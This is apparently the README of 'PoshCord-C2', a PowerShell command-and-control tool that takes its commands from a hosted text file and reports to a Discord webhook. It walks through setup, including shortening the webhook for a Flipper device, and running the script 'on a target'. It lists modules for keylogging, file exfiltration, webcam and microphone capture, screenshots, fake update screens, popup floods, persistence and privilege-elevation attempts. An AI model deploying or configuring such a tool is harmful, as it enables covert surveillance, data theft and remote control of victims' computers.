PoshCord-C2
MAIN SCRIPT HERE - https://github.com/beigeworm/PoshCord-C2
SYNOPSIS
Using a Discord webhook and a hosted text file to Act as a Command and Control Platform.
INFORMATION
This script will wait until it notices a change in the contents of a text file hosted online (eg. github/pastebin). Every 10 seconds it will check a file for a change in the file contents and interpret it as a custom command / module.
Using github to host your command file will take up to 5 minutes to run each module command - Use pastebin (account needed) OR your own server to host the txt file for instant response
SETUP
- make a discord bot at https://discord.com/developers/applications/
- in bot > server intents turn on everything
- add the bot to your discord server (oauth > copy link) copy link
- create a webhook in the desired channel on your server. ( channel-settings/integrations )
- FLIPPER ONLY - goto https://t.ly and make a short link for the webhook. (run prompt only allows 256 characters!)
- Change WEBHOOK_URL below to your short webhook URL eg. https://t.ly/byuf4e
- Change BOT_TOKEN below with your bot token
- Change CHANNEL_ID below to the channel id of your webhook.
USAGE
- Setup the script
- Run the script on a target.
- Check discord for 'waiting to connect..' message.
- Edit the contents of your hosted file to contain 'options' to get a list of modules
- Do the same with any other command listed - To run that module.
MODULES
Message: Send a message window to the Users desktop.SpeechToText: Send microphone audio transcript to DiscordScreenshot: Sends a screenshot of the desktop to Discord.KeyCapture: Capture Keystrokes and send to Discord. (see ExtraInfo for usage.)Exfiltrate: Send various files to Discord zipped in 25mb files. (see ExtraInfo for usage.)Upload: Upload a file to Discord. (see ExtraInfo for usage.)Systeminfo: Send System information as text file to Discord. (takes a few minutes to gather data)RecordAudio: Record microphone to Discord (RecordAudio -t 100) in secondsRecordScreen: Record Screen to Discord (RecordScreen -t 100) in secondsTakePicture: Send a webcam picture to Discord. (can take a few minutes..)FolderTree: Save folder trees to file and send to Discord.FakeUpdate: Spoof windows update screen.Nearby-Wifi: Show nearby wifi networksSend-Hydra: Never ending popups (use killswitch)AddPersistance: Add this script to the startup folder.RemovePersistance: Remove this script from the startup folder.IsAdmin: Check if the session is admin.AttemptElevate: Attempt to restart script as admin. (displays a UAC prompt to User)EnumerateLAN: Show all devices on the network (see ExtraInfo for usage.) (can take a few miniutes to complete)Close: Close this SessionOptions: Show the Module menuExtraInfo: Show extra Module information
FEATURES
Custom Scripting
Edit the hosted file contents to any custom powershell script or command to run custom powershell.
Killswitch
Save a hosted file contents as 'kill' to stop 'KeyCapture' or 'Exfiltrate' command and return to waiting for commands.